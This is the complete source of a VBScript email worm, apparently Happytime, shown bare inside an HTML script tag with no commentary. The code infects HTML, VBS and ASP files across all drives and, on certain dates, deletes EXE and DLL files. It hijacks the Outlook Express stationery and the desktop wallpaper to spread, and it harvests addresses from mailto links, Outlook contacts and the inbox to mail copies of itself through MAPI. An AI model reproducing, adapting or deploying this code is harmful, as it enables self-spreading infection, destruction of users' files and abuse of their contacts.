|
<script language=''VBScript''> Rem I am sorry! happy time On Error Resume Next mload<br/>Sub mload()<br/>On Error Resume Next<br/>mPath = Grf()<br/>Set Os = CreateObject("Scriptlet.TypeLib")<br/>Set Oh = CreateObject("Shell.Application")<br/>If IsHTML Then<br/>mURL = LCase(document.Location)<br/>If mPath = "" Then<br/>Os.Reset<br/>Os.Path = "C:\\Help.htm"<br/>Os.Doc = Lhtml()<br/>Os.Write()<br/>Ihtml = "<span style=''position:absolute''><Iframe src=''C:\\Help.htm'' width=''0''<br/>height=''0''></Iframe></span>"<br/>Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)<br/>Else<br/>If Iv(mPath, "Help.vbs") Then<br/>setInterval "Rt()", 10000<br/>Else<br/>m = "hta"<br/>If LCase(m) = Right(mURL, Len(m)) Then<br/>id = setTimeout("mclose()", 1)<br/>main<br/>Else<br/>Os.Reset()<br/>Os.Path = mPath & "\\" & "Help.hta"<br/>Os.Doc = Lhtml()<br/>Os.write()<br/>Iv mPath, "Help.hta"<br/>End If<br/>End If<br/>End If<br/>Else<br/>main<br/>End If<br/>End Sub<br/>Sub main()<br/>On Error Resume Next<br/>Set Of = CreateObject("Scripting.FileSystemObject")<br/>Set Od = CreateObject("Scripting.Dictionary")<br/>Od.Add "html", "1100"<br/>Od.Add "vbs", "0100"<br/>Od.Add "htm", "1100"<br/>Od.Add "asp", "0010"<br/>Ks = "HKEY_CURRENT_USER\\Software\\"<br/>Ds = Grf()<br/>Cs = Gsf()<br/>If IsVbs Then<br/>If Of.FileExists("C:\\help.htm") Then<br/>Of.DeleteFile ("C:\\help.htm")<br/>End If<br/>Key = CInt(Month(Date) + Day(Date))<br/>If Key = 13 Then<br/>Od.RemoveAll<br/>Od.Add "exe", "0001"<br/>Od.Add "dll", "0001"<br/>End If<br/>Cn = Rg(Ks & "Help\\Count")<br/>If Cn = "" Then<br/>Cn = 1<br/>End If<br/>Rw Ks & "Help\\Count", Cn + 1<br/>f1 = Rg(Ks & "Help\\FileName")<br/>f2 = FNext(Of, Od, f1)<br/>fext = GetExt(Of, Od, f2)<br/>Rw Ks & "Help\\FileName", f2<br/>If IsDel(fext) Then<br/>f3 = f2<br/>f2 = FNext(Of, Od, f2)<br/>Rw Ks & "Help\\FileName", f2<br/>Of.DeleteFile f3<br/>Else<br/>If LCase(WScript.ScriptFullname) <> LCase(f2) Then<br/>Fw Of, f2, fext<br/>End If<br/>End If<br/>If (CInt(Cn) Mod 366) = 0 Then<br/>If (CInt(Second(Time)) Mod 2) = 0 Then<br/>Tsend<br/>Else<br/>adds = Og<br/>Msend (adds)<br/>End If<br/>End If<br/>wp = Rg("HKEY_CURRENT_USER\\Control Panel\\desktop\\wallPaper")<br/>If Rg(Ks & "Help\\wallPaper") <> wp Or wp = "" Then<br/>If wp = "" Then<br/>n1 = ""<br/>n3 = Cs & "\\Help.htm"<br/>Else<br/>mP = Of.GetFile(wp).ParentFolder<br/>n1 = Of.GetFileName(wp)<br/>n2 = Of.GetBaseName(wp)<br/>n3 = Cs & "\\" & n2 & ".htm"<br/>End If<br/>Set pfc = Of.CreateTextFile(n3, True)<br/>mt = Sa("1100")<br/>pfc.Write "<" & "HTML><" & "body bgcolor=''#007f7f'' background=''" & n1 &<br/>"''><" & "/Body><" & "/HTML>" & mt<br/>pfc.Close<br/>Rw Ks & "Help\\wallPaper", n3<br/>Rw "HKEY_CURRENT_USER\\Control Panel\\desktop\\wallPaper", n3<br/>End If<br/>Else<br/>Set fc = Of.CreateTextFile(Ds & "\\Help.vbs", True)<br/>fc.Write Sa("0100")<br/>fc.Close<br/>bf = Cs & "\\Untitled.htm"<br/>Set fc2 = Of.CreateTextFile(bf, True)<br/>fc2.Write Lhtml<br/>fc2.Close<br/>oeid = Rg("HKEY_CURRENT_USER\\Identities\\Default User ID")<br/>oe = "HKEY_CURRENT_USER\\Identities\\" & oeid & "\\Software\\Microsoft\\Outlook<br/>Express\\5.0\\Mail"<br/>MSH = oe & "\\Message Send HTML"<br/>CUS = oe & "\\Compose Use Stationery"<br/>SN = oe & "\\Stationery Name"<br/>Rw MSH, 1<br/>Rw CUS, 1<br/>Rw SN, bf<br/>Web = Cs & "\\WEB"<br/>Set gf = Of.GetFolder(Web).Files<br/>Od.Add "htt", "1100"<br/>For Each m In gf<br/>fext = GetExt(Of, Od, m)<br/>If fext <> "" Then<br/>Fw Of, m, fext<br/>End If<br/>Next<br/>End If<br/>End Sub<br/>Sub mclose()<br/><I>document.write</I> "<" & "title>I am sorry!</title" & ">"<br/>window.Close<br/>End Sub<br/>Sub Rt()<br/>Dim mPath<br/>On Error Resume Next<br/>mPath = Grf()<br/>Iv mPath, "Help.vbs"<br/>End Sub<br/>Function Sa(n)<br/>Dim VBSText, m<br/>VBSText = Lvbs()<br/>If Mid(n, 3, 1) = 1 Then<br/>m = "<%" & VBSText & "%>"<br/>End If<br/>If Mid(n, 2, 1) = 1 Then<br/>m = VBSText<br/>End If<br/>If Mid(n, 1, 1) = 1 Then<br/>m = Lscript(m)<br/>End If<br/>Sa = m & vbCrLf<br/>End Function<br/>Sub Fw(Of, S, n)<br/>Dim fc, fc2, m, mmail, mt<br/>On Error Resume Next<br/>Set fc = Of.OpenTextFile(S, 1)<br/>mt = fc.ReadAll<br/>fc.Close<br/>If Not Sc(mt) Then<br/>mmail = Ml(mt)<br/>mt = Sa(n)<br/>Set fc2 = Of.OpenTextFile(S, 8)<br/>fc2.Write mt<br/>fc2.Close<br/>Msend (mmail)<br/>End If<br/>End Sub<br/>Function Sc(S)<br/>mN = "Rem I am sorry! happy time"<br/>If InStr(S, mN) > 0 Then<br/>Sc = True<br/>Else<br/>Sc = False<br/>End If<br/>End Function<br/>Function FNext(Of, Od, S)<br/>Dim fpath, fname, fext, T, gf<br/>On Error Resume Next<br/>fname = ""<br/>T = False<br/>If Of.FileExists(S) Then<br/>fpath = Of.GetFile(S).ParentFolder<br/>fname = S<br/>ElseIf Of.FolderExists(S) Then<br/>fpath = S<br/>T = True<br/>Else<br/>fpath = Dnext(Of, "")<br/>End If<br/>Do While True<br/>Set gf = Of.GetFolder(fpath).Files<br/>For Each m In gf<br/>If T Then<br/>If GetExt(Of, Od, m) <> "" Then<br/>FNext = m<br/>Exit Function<br/>End If<br/>ElseIf LCase(m) = LCase(fname) Or fname = "" Then<br/>T = True<br/>End If<br/>Next<br/>fpath = Pnext(Of, fpath)<br/>Loop<br/>End Function<br/>Function Pnext(Of, S)<br/>On Error Resume Next<br/>Dim Ppath, Npath, gp, pn, T, m<br/>T = False<br/>If Of.FolderExists(S) Then<br/>Set gp = Of.GetFolder(S).SubFolders<br/>pn = gp.Count<br/>If pn = 0 Then<br/>Ppath = LCase(S)<br/>Npath = LCase(Of.GetParentFolderName(S))<br/>T = True<br/>Else<br/>Npath = LCase(S)<br/>End If<br/>Do While Not Er<br/>For Each pn In Of.GetFolder(Npath).SubFolders<br/>If T Then<br/>If Ppath = LCase(pn) Then<br/>T = False<br/>End If<br/>Else<br/>Pnext = LCase(pn)<br/>Exit Function<br/>End If<br/>Next<br/>T = True<br/>Ppath = LCase(Npath)<br/>Npath = Of.GetParentFolderName(Npath)<br/>If Of.GetFolder(Ppath).IsRootFolder Then<br/>m = Of.GetDriveName(Ppath)<br/>Pnext = Dnext(Of, m)<br/>Exit Function<br/>End If<br/>Loop<br/>End If<br/>End Function<br/>Function Dnext(Of, S)<br/>Dim dc, n, d, T, m<br/>On Error Resume Next<br/>T = False<br/>m = ""<br/>Set dc = Of.Drives<br/>For Each d In dc<br/>If d.DriveType = 2 Or d.DriveType = 3 Then<br/>If T Then<br/>Dnext = d<br/>Exit Function<br/>Else<br/>If LCase(S) = LCase(d) Then<br/>T = True<br/>End If<br/>If m = "" Then<br/>m = d<br/>End If<br/>End If<br/>End If<br/>Next<br/>Dnext = m<br/>End Function<br/>Function GetExt(Of, Od, S)<br/>Dim fext<br/>On Error Resume Next<br/>fext = LCase(Of.GetExtensionName(S))<br/>GetExt = Od.Item(fext)<br/>End Function<br/>Sub Rw(k, v)<br/>Dim R<br/>On Error Resume Next<br/>Set R = CreateObject("WScript.Shell")<br/>R.RegWrite k, v<br/>End Sub<br/>Function Rg(v)<br/>Dim R<br/>On Error Resume Next<br/>Set R = CreateObject("WScript.Shell")<br/>Rg = R.RegRead(v)<br/>End Function<br/>Function IsVbs()<br/>Dim ErrTest<br/>On Error Resume Next<br/>ErrTest = WScript.ScriptFullname<br/>If Err Then<br/>IsVbs = False<br/>Else<br/>IsVbs = True End If<br/>End Function<br/>Function IsHTML()<br/>Dim ErrTest<br/>On Error Resume Next<br/>ErrTest = document.Location<br/>If Er Then<br/>IsHTML = False<br/>Else<br/>IsHTML = True End If End Function Function IsMail(S) Dim m1, m2 IsMail = False If InStr(S, vbCrLf) = 0 Then m1 = InStr(S, "@") m2 = InStr(S, ".") If m1 <> 0 And m1 < m2 Then IsMail = True End If End If End Function<br/>Function Lvbs()<br/>Dim f, m, ws, Of<br/>On Error Resume Next<br/>If IsVbs Then<br/>Set Of = CreateObject("Scripting.FileSystemObject")<br/>Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)<br/>Lvbs = f.ReadAll<br/>Else<br/>For Each ws In document.scripts<br/>If LCase(ws.Language) = "vbscript" Then<br/>If Sc(ws.Text) Then<br/>Lvbs = ws.Text<br/>Exit Function<br/>End If<br/>End If<br/>Next<br/>End If<br/>End Function<br/>Function Iv(mPath, mName)<br/>Dim Shell<br/>On Error Resume Next<br/>Set Shell = CreateObject("Shell.Application")<br/>Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb<br/>If Er Then<br/>Iv = False<br/>Else<br/>Iv = True<br/>End If<br/>End Function<br/>Function Grf()<br/>Dim Shell, mPath<br/>On Error Resume Next<br/>Set Shell = CreateObject("Shell.Application")<br/>mPath = "C:\\"<br/>For Each mShell In Shell.NameSpace(mPath).Items<br/>If mShell.IsFolder Then<br/>Grf = mShell.Path<br/>Exit Function<br/>End If<br/>Next<br/>If Er Then<br/>Grf = ""<br/>End If<br/>End Function<br/>Function Gsf()<br/>Dim Of, m<br/>On Error Resume Next<br/>Set Of = CreateObject("Scripting.FileSystemObject")<br/>m = Of.GetSpecialFolder(0)<br/>If Er Then<br/>Gsf = "C:\\"<br/>Else<br/>Gsf = m<br/>End If<br/>End Function<br/>Function Lhtml()<br/>Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _<br/>"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _<br/>"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _<br/>"<" & "/Body></HTML" & ">"<br/>End Function<br/>Function Lscript(S)<br/>Lscript = "<" & "script language=''VBScript''>" & vbCrLf & _<br/>S & "<" & "/script" & ">"<br/>End Function<br/>Function Sl(S1, S2, n)<br/>Dim l1, l2, l3, i<br/>l1 = Len(S1)<br/>l2 = Len(S2)<br/>i = InStr(S1, S2)<br/>If i > 0 Then<br/>l3 = i + l2 - 1<br/>If n = 0 Then<br/>Sl = Left(S1, i - 1)<br/>ElseIf n = 1 Then<br/>Sl = Right(S1, l1 - l3)<br/>End If<br/>Else<br/>Sl = ""<br/>End If<br/>End Function Function Ml(S) Dim S1, S3, S2, T, adds, m S1 = S<br/>S3 = """" adds = ""<br/>S2 = S3 & "mailto" & ":"<br/>T = True<br/>Do While T<br/>S1 = Sl(S1, S2, 1)<br/>If S1 = "" Then<br/>T = False<br/>Else<br/>m = Sl(S1, S3, 0)<br/>If IsMail(m) Then<br/>adds = adds & m & vbCrLf<br/>End If<br/>End If<br/>Loop<br/>Ml = Split(adds, vbCrLf)<br/>End Function<br/>Function Og()<br/>Dim i, n, m(), Om, Oo<br/>Set Oo = CreateObject("Outlook.Application")<br/>Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items<br/>n = Om.Count<br/>ReDim m(n)<br/>For i = 1 To n<br/>m(i - 1) = Om.Item(i).Email1Address<br/>Next<br/>Og = m<br/>End Function<br/>Sub Tsend()<br/>Dim Od, MS, MM, a, m<br/>Set Od = CreateObject("Scripting.Dictionary")<br/>MConnect MS, MM<br/>MM.FetchSorted = True<br/>MM.Fetch<br/>For i = 0 To MM.MsgCount - 1<br/>MM.MsgIndex = i<br/>a = MM.MsgOrigAddress<br/>If Od.Item(a) = "" Then<br/>Od.Item(a) = MM.MsgSubject<br/>End If<br/>Next<br/>For Each m In Od.Keys<br/>MM.Compose<br/>MM.MsgSubject = "Fw: " & Od.Item(m)<br/>MM.RecipAddress = m<br/>MM.AttachmentPathName = Gsf & "\\Untitled.htm"<br/>MM.Send<br/>Next<br/>MS.SignOff<br/>End Sub<br/>Function MConnect(MS, MM)<br/>Dim U<br/>On Error Resume Next<br/>Set MS = CreateObject("MSMAPI.MAPISession")<br/>Set MM = CreateObject("MSMAPI.MAPIMessages")<br/>U = Rg("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Messaging<br/>Subsystem\\Profiles\\DefaultProfile")<br/>MS.UserName = U<br/>MS.DownLoadMail = False<br/>MS.NewSession = False<br/>MS.LogonUI = True<br/>MS.SignOn<br/>MM.SessionID = MS.SessionID<br/>End Function<br/>Sub Msend(Address)<br/>Dim MS, MM, i, a<br/>MConnect MS, MM<br/>i = 0<br/>MM.Compose<br/>For Each a In Address<br/>If IsMail(a) Then<br/>MM.RecipIndex = i<br/>MM.RecipAddress = a<br/>i = i + 1<br/>End If<br/>Next<br/>MM.MsgSubject = " Help "<br/>MM.AttachmentPathName = Gsf & "\\Untitled.htm"<br/>MM.Send<br/>MS.SignOff<br/>End Sub<br/>Function Er()<br/>If Err.Number = 0 Then<br/>Er = False<br/>Else<br/>Err.Clear<br/>Er = True<br/>End If<br/>End Function<br/>Function IsDel(S)<br/>If Mid(S, 4, 1) = 1 Then<br/>IsDel = True<br/>Else<br/>IsDel = False<br/>End If<br/>End Function<br/></script> <p> </p> (iwgh) |